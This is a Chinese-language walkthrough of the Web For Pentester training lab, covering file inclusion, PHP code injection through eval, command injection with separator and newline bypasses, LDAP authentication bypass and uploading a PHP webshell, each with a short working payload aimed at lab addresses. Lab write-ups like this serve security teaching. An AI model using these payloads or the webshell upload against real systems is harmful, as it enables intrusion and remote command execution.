Web For Pentester File include
File include(文件包含)
Example 1 没有任何过滤
审计源码

没有对我们传参的page进行任何过滤,payload如下
http://172.16.1.104/fileincl/example1.php?page=http://172.16.1.102/info.txt

本机info.txt内容

Example 2 00截断
审计源码

在传参的page后面加入了.php,使用正则对00后面进行过滤为空
这里可以使用PHP 00截断,payload如下
http://172.16.1.104/fileincl/example2.php?page=http://172.16.1.102/info.txt%00

执行成功
code injection(代码注入)
php危险函数,代码注入
Example 1 绕过拼接
审计代码

直接将name进行传参,然后使用Hello name !!!进行拼接,最后使用eval函数执行php函数
eval函数是一个php中很危险的函数,可以直接调用php代码执行
这里虽然对我们的输入进行了拼接,但是可以进行闭合,payload如下
name=";system('whoami');//
现将前面的"进行闭合,然后使用;代表这句php代码的结束,执行system函数调用系统命令whomai,;代表system函数执行完毕,最后使用//将本行后面的内容注释

Example 2
审计源码

由于没有学过php,这里看不太懂,留下一个坑,接下来就命令执行吧
Commands injection(命令执行)
Example 1 没有过滤
审计源码

通过systme()函数执行ping -c 2探测主机存活两次,没有对ip传参进行过滤
这里运用了Linux的特性; & && | ||,这些特殊字符都可以进行绕过
payload
ip=127.0.0.;whoami

Example 2 换行绕过
审计源码

使用正则匹配开头和结束,如果不是ip地址格式直接输出Invalid IP address,但是这里使用了/m换行匹配
使用%0a换行符绕过,payload如下
ip=127.0.0.1%0Aip a

成功执行
Example 3 跳转
审计源码

去掉了/m换行匹配,匹配如果ip不满足IP地址条件跳转到example3?ip=127.0.0.1页面
这里我们输入的命令是被执行过得,因为代码是一直往下执行的,只是跳转并没有回显执行成功页面
使用burpsuite抓包进行查看

curl可以实现
curl "http://172.16.1.104/commandexec/example3.php?ip=127.0.0.1;whoami"


执行成功
LDAP attacks(轻目录访问协议)
LDAP 是一个基于x.500标准的轻量目录访问协议。可以把它看做数据库,就像我们电脑的目录结构一样,可以快速的查询、搜索、浏览数据,和数据不同的就是它修改数据很麻烦,LDAP就是为了查询数据而生的
Example 1 空认证
查询当然时候密码认证的啦
审计源码

这里很像数据库认证的页面,验证我们的用户名和密码是否在LDAP数据库中
直接点击进行访问

用户名和密码为hacker,由于一些LDAP是空绑定的,就是没有进行认证设置,所以我们提交空的密码
username,password改为空的进行提交

还是不可以登录
那么我们直接将传参清除,进行提交
/example1.php

认证成功
Example 2 类似SQL注入的认证
审计源码

这个类似于SQL注入,就如以下代码

先通过md5加密了password,所以不能对password进行注入,但是我们可以对name进行闭合
所以可以构造payload进行闭合
name=hacker))%00&password=任意
测试

认证成功
File Upload(文件上传)
Example 1 没有过滤的上传
审计源码

没有进行任何过滤,直接将文件进行上传
上传一句话木马

上传成功后,提示我们上传的文件在here

点击访问backdoor.php

没有任何回显,因为是一句话木马,使用蚁剑进行连接

可以看到测试连接成功,直接添加,添加后 右键 -> 虚拟终端 就可以连接靶机命令行

Example 2 大小写绕过
审计源码

使用正则进行匹配结束php的黑名单,由于这里靶机使用的环境是php,所以上传asp是没有用的
但是这里检测的的后缀名是小写的php,可是使用大小写绕过

上传成功

XML attacks (XML攻击)
Example 1
审计源码
Example 2
审计源码
Web For Pentester File include的更多相关文章
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”
ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”,这在给定的上下文中无效 这是一个与Controller.F ...
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- Web For Pentester靶场(xss部分)
配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...
- Express web框架 upload file
哈哈,敢开源,还是要有两把刷子的啊 今天,看看node.js 的web框架 Express的实际应用 //demo1 upload file <html><head><t ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
随机推荐
- 2022-04-25内部群每日三题-清辉PMP
1.项目章程批准之后,项目经理开始使用储备分析进行预算工作.哪些文件支持这项工作? A.项目资金需求.成本基准和项目储备计划 B.范围基准.风险登记册和项目进度计划 C.质量管理计划.项目资金需求和风 ...
- 044_Schedule Job 间隔时间自动执行
需求:系统上的标准功能是能够设置间隔一天的执行,或者是写完代码着急测试我们写个5分钟后执行的: 但是遇到要求没间隔一小时或者十分钟执行,该怎么处理呢? global class **_Retrieve ...
- Delphi书籍大全【阿里云盘】
「marco cantu的Object Pascal Handbook」等文件 https://www.aliyundrive.com/s/sJtUo8ziUpV 提取码: 5tp6点击链接保存,或者 ...
- Jmeter一、开源软件的崛起
一.jmeter自身特点: 1.开源,轻量级,更适合自动化和持续集成. 2.学习难度大. 3.资料少.多英文. 二.性能测试工具选型的原则 1.成本: a.工具成本 b.学习成本 2.通信协议: a. ...
- linux 中安装、更新和卸载软件
1.Aptitude aptitude 与 apt-get 一样,是 Debian 及其衍生系统中功能极其强大的包管理工具. 与 apt-get 不同的是,aptitude 在处理依赖问题上更佳一些. ...
- latex常用的宏包(转载)
页面与标题式样 geometry 利用 geometry 可以很方便的设置页面的大小.由于可以自动居中排放页面,自动计算并平衡页面各部分如页眉.页脚.左右边空等的大小,因此只需给出很少的信息就能得到满 ...
- centos7 系统运行中做raid磁盘阵列
插入磁盘 lsblk查看磁盘总体情况 对sdb1等需要做的硬盘进行制作 fdisk /dev/sdb 开始 n 创建 p 给资源回车 重选代码 t 确认磁盘阵列代码 fd 保存w 首先安装工具 mda ...
- 弹框table
<template> <div> <el-dialog :title="title" :visible.sync="dialogVisibl ...
- CentOS7 yum方式安装mysql 5.7
1.检查服务器上有没有安装mysqlyum安装方式:yum list installed mysql*yum卸载 yum remove 已安装的包卸载完安装包后,删除安装文件rm -rf /var/l ...
- K8SYaml文件详解
一.K8S支持的文件格式 kubernetes支持YAML和JSON文件格式管理资源对象. JSON格式:主要用于api接口之间消息的传递 YAML格式:用于配置和管理,YAML是一种简洁的非标记性语 ...